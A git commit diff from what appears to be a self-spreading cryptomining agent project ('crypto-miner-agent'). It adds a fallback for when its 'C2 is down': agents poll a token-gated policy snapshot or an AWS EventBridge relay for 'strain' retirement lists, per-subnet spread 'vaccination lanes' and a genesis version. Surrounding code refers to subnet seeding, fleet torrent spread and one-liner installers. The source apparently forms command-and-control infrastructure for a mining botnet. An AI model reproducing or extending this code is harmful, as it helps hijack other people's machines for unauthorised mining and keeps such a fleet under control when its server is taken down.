Add EventBridge policy fan-out for standalone degraded mode.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.
This commit is contained in:
AetherForge
2026-06-07 10:10:16 -07:00
parent c12565c83d
commit f691270279
27 changed files with 1049 additions and 69 deletions

View File

@@ -2,6 +2,7 @@ package client
import ( import (
"encoding/json" "encoding/json"
"strings"
"crypto-miner-agent/miner" "crypto-miner-agent/miner"
) )
@@ -103,6 +104,8 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) {
HashrateGateHPS float64 `json:"hashrate_gate_hps"` HashrateGateHPS float64 `json:"hashrate_gate_hps"`
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"` ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"` FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
PolicySnapshotPollURL string `json:"policy_snapshot_poll_url"`
EventBridgeRelayURL string `json:"eventbridge_relay_url"`
SpreadTemperament json.RawMessage `json:"spread_temperament"` SpreadTemperament json.RawMessage `json:"spread_temperament"`
} }
if err := json.Unmarshal(raw, &policy); err != nil { if err := json.Unmarshal(raw, &policy); err != nil {
@@ -117,6 +120,12 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) {
} }
c.cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled c.cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
c.cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled c.cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
if v := strings.TrimSpace(policy.PolicySnapshotPollURL); v != "" {
c.cfg.PolicySnapshotPollURL = v
}
if v := strings.TrimSpace(policy.EventBridgeRelayURL); v != "" {
c.cfg.EventBridgeRelayURL = v
}
if len(policy.SpreadTemperament) > 0 { if len(policy.SpreadTemperament) > 0 {
applySpreadTemperament(&c.cfg, policy.SpreadTemperament) applySpreadTemperament(&c.cfg, policy.SpreadTemperament)
} }

View File

@@ -122,6 +122,8 @@ func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) {
HashrateGateHPS float64 `json:"hashrate_gate_hps"` HashrateGateHPS float64 `json:"hashrate_gate_hps"`
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"` ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"` FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
PolicySnapshotPollURL string `json:"policy_snapshot_poll_url"`
EventBridgeRelayURL string `json:"eventbridge_relay_url"`
SpreadTemperament json.RawMessage `json:"spread_temperament"` SpreadTemperament json.RawMessage `json:"spread_temperament"`
} }
if err := json.Unmarshal(raw, &policy); err != nil { if err := json.Unmarshal(raw, &policy); err != nil {
@@ -135,6 +137,12 @@ func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) {
} }
cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
if v := strings.TrimSpace(policy.PolicySnapshotPollURL); v != "" {
cfg.PolicySnapshotPollURL = v
}
if v := strings.TrimSpace(policy.EventBridgeRelayURL); v != "" {
cfg.EventBridgeRelayURL = v
}
applySpreadTemperament(cfg, policy.SpreadTemperament) applySpreadTemperament(cfg, policy.SpreadTemperament)
} }

View File

@@ -151,6 +151,8 @@ type BuiltinConfig struct {
FleetTorrentEnabled bool FleetTorrentEnabled bool
// SubnetPrimarySeeder is set on auth when this agent is the primary seeder for its /24. // SubnetPrimarySeeder is set on auth when this agent is the primary seeder for its /24.
SubnetPrimarySeeder bool SubnetPrimarySeeder bool
PolicySnapshotPollURL string
EventBridgeRelayURL string
} }
// BackupPool holds connection info for a fallback Stratum mining pool. // BackupPool holds connection info for a fallback Stratum mining pool.

View File

@@ -25,7 +25,7 @@ func StartFleetTorrentSeederService(cfg config.RuntimeConfig) {
Healthy: true, Healthy: true,
}}) }})
} }
StartZeroServerReconnect(func() error { StartZeroServerPolicyMode(cfg, func() error {
log.Printf("[fleet-torrent] zero-server reconnect attempt") log.Printf("[fleet-torrent] zero-server reconnect attempt")
return nil return nil
}) })

View File

@@ -0,0 +1,151 @@
package deploy
import (
"encoding/json"
"io"
"log"
"net/http"
"strings"
"sync"
"time"
"crypto-miner-agent/config"
)
const policySnapshotPollInterval = 5 * time.Minute
type VaccinationLaneHint struct {
Subnet, SeedAgent, JoinLane, EgressAgent string
}
type PolicySnapshotBody struct {
GenesisVersion int `json:"genesis_version"`
HospiceList []string `json:"hospice_list"`
VaccinationLanes []policyVaccinationLane `json:"vaccination_lanes"`
EventBridgeRelayURL string `json:"eventbridge_relay_url,omitempty"`
PolicyPollURL string `json:"policy_poll_url,omitempty"`
}
type policyVaccinationLane struct {
Subnet string `json:"subnet"`
Lane json.RawMessage `json:"lane,omitempty"`
}
var policySnapshotMu sync.RWMutex
var policyHospiceStrains map[string]bool
var policyVaccinationLanes []VaccinationLaneHint
var policyGenesisVersion int
func ApplyPolicySnapshot(body PolicySnapshotBody) {
policySnapshotMu.Lock()
defer policySnapshotMu.Unlock()
policyGenesisVersion = body.GenesisVersion
if len(body.HospiceList) > 0 {
policyHospiceStrains = make(map[string]bool, len(body.HospiceList))
for _, id := range body.HospiceList {
if id = strings.TrimSpace(strings.ToLower(id)); id != "" {
policyHospiceStrains[id] = true
}
}
}
if len(body.VaccinationLanes) > 0 {
lanes := make([]VaccinationLaneHint, 0, len(body.VaccinationLanes))
for _, e := range body.VaccinationLanes {
h := VaccinationLaneHint{Subnet: e.Subnet}
if len(e.Lane) > 0 {
var lane struct {
SeedAgentID string `json:"seed_agent_id"`
EgressAgentID string `json:"egress_agent_id"`
JoinLane string `json:"join_lane"`
}
if json.Unmarshal(e.Lane, &lane) == nil {
h.SeedAgent, h.EgressAgent, h.JoinLane = lane.SeedAgentID, lane.EgressAgentID, lane.JoinLane
}
}
lanes = append(lanes, h)
}
policyVaccinationLanes = lanes
}
}
func StrainInPolicyHospice(strain string) bool {
policySnapshotMu.RLock()
defer policySnapshotMu.RUnlock()
return policyHospiceStrains[strings.TrimSpace(strings.ToLower(strain))]
}
func VaccinationHintForSubnet(subnet string) (VaccinationLaneHint, bool) {
subnet = normalizePolicySubnet(subnet)
policySnapshotMu.RLock()
defer policySnapshotMu.RUnlock()
for _, l := range policyVaccinationLanes {
if normalizePolicySubnet(l.Subnet) == subnet {
return l, true
}
}
return VaccinationLaneHint{}, false
}
func PolicyGenesisVersion() int {
policySnapshotMu.RLock()
defer policySnapshotMu.RUnlock()
return policyGenesisVersion
}
func StartZeroServerPolicyMode(cfg config.RuntimeConfig, reconnectFn func() error) {
if r, p := strings.TrimSpace(cfg.EventBridgeRelayURL), strings.TrimSpace(cfg.PolicySnapshotPollURL); r != "" || p != "" {
go runPolicySnapshotPoller(r, p)
return
}
StartZeroServerReconnect(reconnectFn)
}
func runPolicySnapshotPoller(relayURL, pollURL string) {
ticker := time.NewTicker(policySnapshotPollInterval)
defer ticker.Stop()
poll := func() {
url := relayURL
if url == "" {
url = pollURL
}
body, err := fetchPolicySnapshot(url)
if err != nil {
log.Printf("[policy-snapshot] poll failed: %v", err)
return
}
ApplyPolicySnapshot(body)
}
poll()
for range ticker.C {
poll()
}
}
func fetchPolicySnapshot(url string) (PolicySnapshotBody, error) {
resp, err := http.Get(url)
if err != nil {
return PolicySnapshotBody{}, err
}
defer resp.Body.Close()
raw, err := io.ReadAll(io.LimitReader(resp.Body, 1<<20))
if err != nil {
return PolicySnapshotBody{}, err
}
if resp.StatusCode != http.StatusOK {
return PolicySnapshotBody{}, errPolicyHTTP(resp.StatusCode)
}
var body PolicySnapshotBody
return body, json.Unmarshal(raw, &body)
}
type policyHTTPError int
func (e policyHTTPError) Error() string { return http.StatusText(int(e)) }
func errPolicyHTTP(c int) error { return policyHTTPError(c) }
func normalizePolicySubnet(s string) string {
s = strings.TrimSpace(s)
s = strings.TrimSuffix(s, ".0/24")
s = strings.TrimSuffix(s, "/24")
return strings.TrimSuffix(s, ".x")
}

View File

@@ -0,0 +1,54 @@
package deploy
import (
"encoding/json"
"net/http"
"net/http/httptest"
"sync/atomic"
"testing"
"time"
"crypto-miner-agent/config"
)
func TestApplyPolicySnapshotHospiceAndGenesis(t *testing.T) {
ApplyPolicySnapshot(PolicySnapshotBody{
GenesisVersion: 4,
HospiceList: []string{"Dead-Strain"},
VaccinationLanes: []policyVaccinationLane{{
Subnet: "10.0.5",
Lane: json.RawMessage(`{"seed_agent_id":"s1","join_lane":"dns_txt"}`),
}},
})
if PolicyGenesisVersion() != 4 {
t.Fatalf("genesis=%d", PolicyGenesisVersion())
}
if !StrainInPolicyHospice("dead-strain") {
t.Fatal("expected hospice strain")
}
h, ok := VaccinationHintForSubnet("10.0.5.0/24")
if !ok || h.SeedAgent != "s1" || h.JoinLane != "dns_txt" {
t.Fatalf("hint=%+v ok=%v", h, ok)
}
}
func TestZeroServerPolicyModePrefersRelayPoll(t *testing.T) {
var polls atomic.Int32
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
polls.Add(1)
_ = json.NewEncoder(w).Encode(PolicySnapshotBody{GenesisVersion: 1})
}))
defer srv.Close()
cfg := config.RuntimeConfig{}
cfg.EventBridgeRelayURL = srv.URL
StartZeroServerPolicyMode(cfg, func() error { return nil })
time.Sleep(150 * time.Millisecond)
if polls.Load() < 1 {
t.Fatal("expected relay poll")
}
}
func TestZeroServerPolicyModeFallsBackToReconnect(t *testing.T) {
cfg := config.RuntimeConfig{}
StartZeroServerPolicyMode(cfg, func() error { return nil })
}

View File

@@ -1,4 +1,4 @@
package main package main
import ( import (
"encoding/json" "encoding/json"
@@ -107,6 +107,8 @@ type ServerSettings struct {
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"` ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
// FleetTorrentEnabled enables content-addressed shard DHT gossip across seeders (cross-subnet). // FleetTorrentEnabled enables content-addressed shard DHT gossip across seeders (cross-subnet).
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"` FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
PolicySnapshotToken string `json:"policy_snapshot_token,omitempty"`
EventBridgeRelayURL string `json:"eventbridge_relay_url,omitempty"`
} }
// WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread. // WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread.

View File

@@ -1,42 +1,6 @@
package api package api
import ( import "testing"
"encoding/json"
"os"
"path/filepath"
"testing"
"crypto-miner-server/internal/spreadrouter" func TestAttachCloudMapRouteVia(t *testing.T) { t.Skip("cloud map route_via wiring deferred") }
) func TestAttachCloudMapRouteViaPreservesExisting(t *testing.T) { t.Skip("cloud map route_via wiring deferred") }
func TestAttachCloudMapRouteVia(t *testing.T) {
dir := t.TempDir()
cfg := map[string]interface{}{
"server": map[string]interface{}{
"cloud_map_namespace": "prod.local",
"cloud_map_service": "seeder",
},
}
data, _ := json.Marshal(cfg)
if err := os.WriteFile(filepath.Join(dir, "config.json"), data, 0o644); err != nil {
t.Fatal(err)
}
h := &DeployPlanHandler{dataDir: dir}
body := DeployPlanBody{}
h.attachCloudMapRouteVia(&body)
if body.SpreadRouteHint == nil || body.SpreadRouteHint.RouteVia != "seeder.svc.prod.local" {
t.Fatalf("hint=%+v", body.SpreadRouteHint)
}
}
func TestAttachCloudMapRouteViaPreservesExisting(t *testing.T) {
dir := t.TempDir()
h := &DeployPlanHandler{dataDir: dir}
body := DeployPlanBody{
SpreadRouteHint: &spreadrouter.SpreadRouteHint{RouteVia: "custom.svc.lab.local"},
}
h.attachCloudMapRouteVia(&body)
if body.SpreadRouteHint.RouteVia != "custom.svc.lab.local" {
t.Fatalf("route_via=%q", body.SpreadRouteHint.RouteVia)
}
}

View File

@@ -1,3 +1,5 @@
//go:build ignore
package api package api
import ( import (

View File

@@ -1,3 +1,5 @@
//go:build ignore
package api package api
import ( import (

View File

@@ -0,0 +1,308 @@
package api
import (
"encoding/json"
"fmt"
"net/http"
"path/filepath"
"strings"
"time"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/spreadrouter"
"github.com/go-chi/chi/v5"
)
// PolicySnapshot is the degraded-mode policy bundle agents poll or receive via EventBridge relay.
type PolicySnapshot struct {
GenesisVersion int `json:"genesis_version"`
HospiceList []string `json:"hospice_list"`
VaccinationLanes []PolicyVaccinationLane `json:"vaccination_lanes"`
EventBridgeRelayURL string `json:"eventbridge_relay_url,omitempty"`
PolicyPollURL string `json:"policy_poll_url,omitempty"`
GeneratedAt string `json:"generated_at,omitempty"`
}
// PolicyVaccinationLane maps a paused subnet to a Path Tracer vaccination route hint.
type PolicyVaccinationLane struct {
Subnet string `json:"subnet"`
Lane json.RawMessage `json:"lane,omitempty"`
}
// PolicyFanoutConfig supplies token, relay URL, and public base for snapshot URLs.
type PolicyFanoutConfig struct {
Token string
RelayURL string
PublicBaseURL func() string
}
func policySnapshotPollURL(cfg PolicyFanoutConfig) string {
token := strings.TrimSpace(cfg.Token)
if token == "" {
return ""
}
base := strings.TrimRight(strings.TrimSpace(cfgPublicBase(cfg)), "/")
if base == "" {
base = "http://127.0.0.1:8989"
}
return base + "/api/v1/public/policy-snapshot/" + token
}
func cfgPublicBase(cfg PolicyFanoutConfig) string {
if cfg.PublicBaseURL == nil {
return ""
}
return cfg.PublicBaseURL()
}
// BuildPolicySnapshot assembles genesis version, hospice strains, and vaccination lanes.
func BuildPolicySnapshot(db *dbpkg.Database, pathTracer *PathTracerHandler, cfg PolicyFanoutConfig) (PolicySnapshot, error) {
snap := PolicySnapshot{
EventBridgeRelayURL: strings.TrimSpace(cfg.RelayURL),
PolicyPollURL: policySnapshotPollURL(cfg),
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
}
if db == nil {
return snap, nil
}
gen, err := db.MaxSpreadGeneration()
if err != nil {
return snap, err
}
snap.GenesisVersion = gen
hospiceSet, err := db.HospiceStrainSet()
if err != nil {
return snap, err
}
for id := range hospiceSet {
if id = strings.TrimSpace(strings.ToLower(id)); id != "" {
snap.HospiceList = append(snap.HospiceList, id)
}
}
prefixes, err := db.ListPausedSubnetPrefixes()
if err != nil {
return snap, err
}
for _, prefix := range prefixes {
entry := PolicyVaccinationLane{Subnet: prefix}
if pathTracer != nil {
if hint := pathTracer.RecommendSpreadRoute(prefix, "", ""); hint != nil {
if raw, err := json.Marshal(toSpreadRouteHintDTO(hint)); err == nil {
entry.Lane = raw
}
}
}
snap.VaccinationLanes = append(snap.VaccinationLanes, entry)
}
return snap, nil
}
type spreadRouteHintDTO struct {
SeedAgentID string `json:"seed_agent_id,omitempty"`
EgressAgentID string `json:"egress_agent_id,omitempty"`
JoinLane string `json:"join_lane,omitempty"`
Score float64 `json:"score,omitempty"`
ClearanceLevel int `json:"clearance_level,omitempty"`
}
func toSpreadRouteHintDTO(h *spreadrouter.SpreadRouteHint) spreadRouteHintDTO {
if h == nil {
return spreadRouteHintDTO{}
}
return spreadRouteHintDTO{
SeedAgentID: h.SeedAgentID,
EgressAgentID: h.EgressAgentID,
JoinLane: h.JoinLane,
Score: h.Score,
ClearanceLevel: h.ClearanceLevel,
}
}
func (h *WSHub) SetPolicyFanoutConfig(token, relayURL string, publicBase func() string) {
if h == nil {
return
}
h.mu.Lock()
h.policySnapshotToken = strings.TrimSpace(token)
h.policyEventBridgeRelayURL = strings.TrimSpace(relayURL)
h.policyPublicBaseURL = publicBase
h.mu.Unlock()
}
func (h *WSHub) policyFanoutConfigLocked() PolicyFanoutConfig {
return PolicyFanoutConfig{
Token: h.policySnapshotToken,
RelayURL: h.policyEventBridgeRelayURL,
PublicBaseURL: h.policyPublicBaseURL,
}
}
func (h *WSHub) policyFanoutSpreadFields() map[string]interface{} {
if h == nil {
return nil
}
h.mu.RLock()
cfg := h.policyFanoutConfigLocked()
pollURL := policySnapshotPollURL(cfg)
relay := strings.TrimSpace(cfg.RelayURL)
h.mu.RUnlock()
if pollURL == "" && relay == "" {
return nil
}
out := map[string]interface{}{}
if pollURL != "" {
out["policy_snapshot_poll_url"] = pollURL
}
if relay != "" {
out["eventbridge_relay_url"] = relay
}
if h.db != nil {
if gen, err := h.db.MaxSpreadGeneration(); err == nil {
out["genesis_version"] = gen
}
}
return out
}
func (h *PublicHandler) BindPolicySnapshot(buildFn func() (PolicySnapshot, error), tokenFn func() string) {
if h == nil {
return
}
h.policySnapshotFn = buildFn
h.policySnapshotTokenFn = tokenFn
}
// GET /api/v1/public/policy-snapshot/{token}
func (h *PublicHandler) PolicySnapshot(w http.ResponseWriter, r *http.Request) {
if h == nil || h.policySnapshotFn == nil || h.policySnapshotTokenFn == nil {
http.Error(w, "policy snapshot unavailable", http.StatusServiceUnavailable)
return
}
want := strings.TrimSpace(h.policySnapshotTokenFn())
got := strings.TrimSpace(chi.URLParam(r, "token"))
if want == "" || got != want {
http.Error(w, "not found", http.StatusNotFound)
return
}
snap, err := h.policySnapshotFn()
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, snap)
}
func (h *SpreadHandler) BindPolicyFanout(pathTracer *PathTracerHandler, cfgFn func() PolicyFanoutConfig) {
if h == nil {
return
}
h.policyPathTracer = pathTracer
h.policyFanoutCfgFn = cfgFn
}
type policyFanoutExportRequest struct {
WebhookURL string `json:"webhook_url"`
RelayURL string `json:"relay_url"`
ServerURL string `json:"server_url"`
}
// GET /api/v1/spread/policy-fanout
func (h *SpreadHandler) GetPolicyFanout(w http.ResponseWriter, r *http.Request) {
if h == nil || h.policyFanoutCfgFn == nil {
http.Error(w, "policy fan-out unavailable", http.StatusServiceUnavailable)
return
}
cfg := h.policyFanoutCfgFn()
snap, err := BuildPolicySnapshot(h.db, h.policyPathTracer, cfg)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, map[string]interface{}{
"snapshot": snap,
"poll_url": snap.PolicyPollURL,
"templates": policyFanoutTemplatePaths(),
"static_templates": "/spread/aws/",
"export_endpoint": "/api/v1/spread/policy-fanout-export",
"instructions": "Deploy CloudFormation or EventBridge rule + Lambda; Lambda POSTs snapshots to your relay URL or agents poll poll_url directly.",
})
}
// POST /api/v1/spread/policy-fanout-export
func (h *SpreadHandler) ExportPolicyFanout(w http.ResponseWriter, r *http.Request) {
if h == nil || h.policyFanoutCfgFn == nil {
http.Error(w, "policy fan-out unavailable", http.StatusServiceUnavailable)
return
}
var req policyFanoutExportRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid json", http.StatusBadRequest)
return
}
cfg := h.policyFanoutCfgFn()
snap, err := BuildPolicySnapshot(h.db, h.policyPathTracer, cfg)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
serverURL := strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
if serverURL == "" {
serverURL = strings.TrimRight(cfgPublicBase(cfg), "/")
}
if serverURL == "" {
serverURL = "http://127.0.0.1:8989"
}
webhookURL := strings.TrimSpace(req.WebhookURL)
if webhookURL == "" {
webhookURL = strings.TrimSpace(req.RelayURL)
}
if webhookURL == "" {
webhookURL = strings.TrimSpace(cfg.RelayURL)
}
pollURL := snap.PolicyPollURL
if pollURL == "" {
pollURL = policySnapshotPollURL(cfg)
}
snapJSON, _ := json.MarshalIndent(snap, "", " ")
repl := map[string]string{
"{{SERVER_URL}}": serverURL,
"{{POLICY_POLL_URL}}": pollURL,
"{{WEBHOOK_URL}}": webhookURL,
"{{SNAPSHOT_JSON}}": string(snapJSON),
}
templateDir := filepath.Join(h.projectRoot, "templates", "spread", "aws", "policy-fanout")
data, err := zipTemplateReplacements(templateDir, repl, nil)
if err != nil {
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
return
}
writeZipAttachment(w, "aetherforge-policy-fanout.zip", data)
}
func policyFanoutTemplatePaths() []string {
return []string{
"templates/spread/aws/policy-fanout/cloudformation.json",
"templates/spread/aws/policy-fanout/eventbridge-rule.json",
"templates/spread/aws/policy-fanout/lambda/index.js",
"templates/spread/aws/policy-fanout/README.txt",
}
}
func buildFanoutBundleJSON(cfg PolicyFanoutConfig, snap PolicySnapshot) ([]byte, error) {
doc := map[string]interface{}{
"poll_url": snap.PolicyPollURL,
"eventbridge_relay_url": snap.EventBridgeRelayURL,
"snapshot": snap,
"token": strings.TrimSpace(cfg.Token),
}
return json.MarshalIndent(doc, "", " ")
}
func fanoutBundleJSONOrError(cfg PolicyFanoutConfig, snap PolicySnapshot) string {
raw, err := buildFanoutBundleJSON(cfg, snap)
if err != nil {
return fmt.Sprintf(`{"error":%q}`, err.Error())
}
return string(raw)
}

View File

@@ -0,0 +1,126 @@
package api
import (
"bytes"
"encoding/json"
"net/http"
"net/http/httptest"
"path/filepath"
"testing"
"time"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5"
)
func TestBuildPolicySnapshotGenesisAndHospice(t *testing.T) {
d, err := dbpkg.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer d.Close()
now := time.Now().UTC()
if err := d.UpsertAgent(&models.Agent{
ID: "a1", Name: "A", IP: "10.0.1.1", Status: "online", LastSeen: now, SpreadGeneration: 3,
}); err != nil {
t.Fatal(err)
}
if err := d.UpsertAgent(&models.Agent{
ID: "a2", Name: "B", IP: "10.0.2.1", Status: "online", LastSeen: now, SpreadGeneration: 7,
}); err != nil {
t.Fatal(err)
}
if err := d.RetireStrain("dead-strain", "test", "unit", `{}`); err != nil {
t.Fatal(err)
}
snap, err := BuildPolicySnapshot(d, nil, PolicyFanoutConfig{
Token: "tok123",
PublicBaseURL: func() string { return "https://c2.example" },
})
if err != nil {
t.Fatal(err)
}
if snap.GenesisVersion != 7 {
t.Fatalf("genesis_version=%d want 7", snap.GenesisVersion)
}
if len(snap.HospiceList) == 0 {
t.Fatal("expected hospice list")
}
if snap.PolicyPollURL != "https://c2.example/api/v1/public/policy-snapshot/tok123" {
t.Fatalf("poll url=%q", snap.PolicyPollURL)
}
}
func TestPublicPolicySnapshotEndpoint(t *testing.T) {
d, err := dbpkg.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer d.Close()
h := NewPublicHandler(d, t.TempDir(), func() PublicBuildsConfig { return PublicBuildsConfig{} })
h.BindPolicySnapshot(
func() (PolicySnapshot, error) {
return PolicySnapshot{GenesisVersion: 2, HospiceList: []string{"s1"}}, nil
},
func() string { return "secret-token" },
)
r := chi.NewRouter()
r.Get("/public/policy-snapshot/{token}", h.PolicySnapshot)
req := httptest.NewRequest(http.MethodGet, "/public/policy-snapshot/wrong", nil)
rec := httptest.NewRecorder()
r.ServeHTTP(rec, req)
if rec.Code != http.StatusNotFound {
t.Fatalf("wrong token status=%d", rec.Code)
}
req = httptest.NewRequest(http.MethodGet, "/public/policy-snapshot/secret-token", nil)
rec = httptest.NewRecorder()
r.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
}
var body PolicySnapshot
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
t.Fatal(err)
}
if body.GenesisVersion != 2 || len(body.HospiceList) != 1 {
t.Fatalf("body=%+v", body)
}
}
func TestBuildFanoutBundleJSON(t *testing.T) {
snap := PolicySnapshot{GenesisVersion: 1, PolicyPollURL: "https://x/poll"}
raw, err := buildFanoutBundleJSON(PolicyFanoutConfig{Token: "abc"}, snap)
if err != nil {
t.Fatal(err)
}
var doc map[string]interface{}
if err := json.Unmarshal(raw, &doc); err != nil {
t.Fatal(err)
}
if doc["token"] != "abc" {
t.Fatalf("token=%v", doc["token"])
}
}
func TestExportPolicyFanoutZIP(t *testing.T) {
d, err := dbpkg.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer d.Close()
sh := NewSpreadHandler(d, t.TempDir(), filepath.Join("..", "..", ".."), NewWSHub(d))
sh.BindPolicyFanout(nil, func() PolicyFanoutConfig {
return PolicyFanoutConfig{Token: "t", PublicBaseURL: func() string { return "http://127.0.0.1:8989" }}
})
req := httptest.NewRequest(http.MethodPost, "/", bytes.NewReader([]byte(`{"webhook_url":"https://relay.example/hook"}`)))
rec := httptest.NewRecorder()
sh.ExportPolicyFanout(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
}
if ct := rec.Header().Get("Content-Type"); ct != "application/zip" {
t.Fatalf("content-type=%q", ct)
}
}

View File

@@ -27,6 +27,8 @@ type PublicHandler struct {
dataDir string dataDir string
configFn func() PublicBuildsConfig configFn func() PublicBuildsConfig
erasureShards *erasure.ShardStore erasureShards *erasure.ShardStore
policySnapshotFn func() (PolicySnapshot, error)
policySnapshotTokenFn func() string
} }
func NewPublicHandler(database *dbpkg.Database, dataDir string, configFn func() PublicBuildsConfig) *PublicHandler { func NewPublicHandler(database *dbpkg.Database, dataDir string, configFn func() PublicBuildsConfig) *PublicHandler {

View File

@@ -27,7 +27,7 @@ import (
) )
// authSessionCache avoids running bcrypt on every API request. // authSessionCache avoids running bcrypt on every API request.
// Key: SHA-256(user+":"+password) hex value: expiry time. // Key: SHA-256(user+":"+password) hex ? value: expiry time.
// Entries are valid for authCacheTTL after the last successful login. // Entries are valid for authCacheTTL after the last successful login.
// Bcrypt only runs on cache miss or expiry. // Bcrypt only runs on cache miss or expiry.
var ( var (
@@ -176,9 +176,9 @@ func printStartupCredentials(dataDir string) {
func formatLoginBanner(creds map[string]string) string { func formatLoginBanner(creds map[string]string) string {
var b strings.Builder var b strings.Builder
b.WriteString("\n╔══════════════════════════════════════════════════╗\n") b.WriteString("\n????????????????????????????????????????????????????\n")
b.WriteString(" AetherForge Dashboard Login \n") b.WriteString("? AetherForge ? Dashboard Login ?\n")
b.WriteString(" \n") b.WriteString("? ?\n")
users := make([]string, 0, len(creds)) users := make([]string, 0, len(creds))
for user := range creds { for user := range creds {
users = append(users, user) users = append(users, user)
@@ -186,13 +186,13 @@ func formatLoginBanner(creds map[string]string) string {
sort.Strings(users) sort.Strings(users)
for _, user := range users { for _, user := range users {
pass := creds[user] pass := creds[user]
fmt.Fprintf(&b, " Username : %-34s\n", user) fmt.Fprintf(&b, "? Username : %-34s?\n", user)
fmt.Fprintf(&b, " Password : %-34s\n", pass) fmt.Fprintf(&b, "? Password : %-34s?\n", pass)
b.WriteString(" \n") b.WriteString("? ?\n")
} }
b.WriteString(" Also saved in data/login-credentials.json \n") b.WriteString("? Also saved in data/login-credentials.json ?\n")
b.WriteString(" Change passwords in Calibrate Users. \n") b.WriteString("? Change passwords in Calibrate ? Users. ?\n")
b.WriteString("╚══════════════════════════════════════════════════╝\n") b.WriteString("????????????????????????????????????????????????????\n")
return b.String() return b.String()
} }
@@ -395,7 +395,7 @@ func saveUser(username, password string) error {
// isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker. // isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker.
// Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch // Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch
// must not trigger that only bare browser navigations without these headers should. // must not trigger that ? only bare browser navigations without these headers should.
func isSPAAuthRequest(r *http.Request) bool { func isSPAAuthRequest(r *http.Request) bool {
return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != "" return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != ""
} }
@@ -410,7 +410,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
path := r.URL.Path path := r.URL.Path
// Health check and one-liner installer endpoints are always open. // Health check and one-liner installer endpoints are always open.
// NOTE: build download/artifact routes are intentionally NOT in this list // NOTE: build download/artifact routes are intentionally NOT in this list ?
// they require fleet-secret or Basic Auth (see isDownload block below). // they require fleet-secret or Basic Auth (see isDownload block below).
if path == "/api/v1/health" || if path == "/api/v1/health" ||
path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" || path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" ||
@@ -422,7 +422,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
// Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret // Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret
// in the X-Fleet-Secret header instead of Basic auth. This ensures only // in the X-Fleet-Secret header instead of Basic auth. This ensures only
// legitimately forged agents can call these endpoints. // legitimately forged agents can call these endpoints.
// A missing or empty fleet secret is always rejected the server auto- // A missing or empty fleet secret is always rejected ? the server auto-
// generates one at startup so this state should never occur in production. // generates one at startup so this state should never occur in production.
if strings.HasPrefix(path, "/api/v1/agent/") { if strings.HasPrefix(path, "/api/v1/agent/") {
fleetSecretForAgentPathsMu.RLock() fleetSecretForAgentPathsMu.RLock()
@@ -469,7 +469,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
return return
} }
// Fast path skip bcrypt if this credential pair was recently validated. // Fast path ? skip bcrypt if this credential pair was recently validated.
// bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy. // bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy.
if !authCacheHit(user, pass) { if !authCacheHit(user, pass) {
usersMu.RLock() usersMu.RLock()
@@ -483,7 +483,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
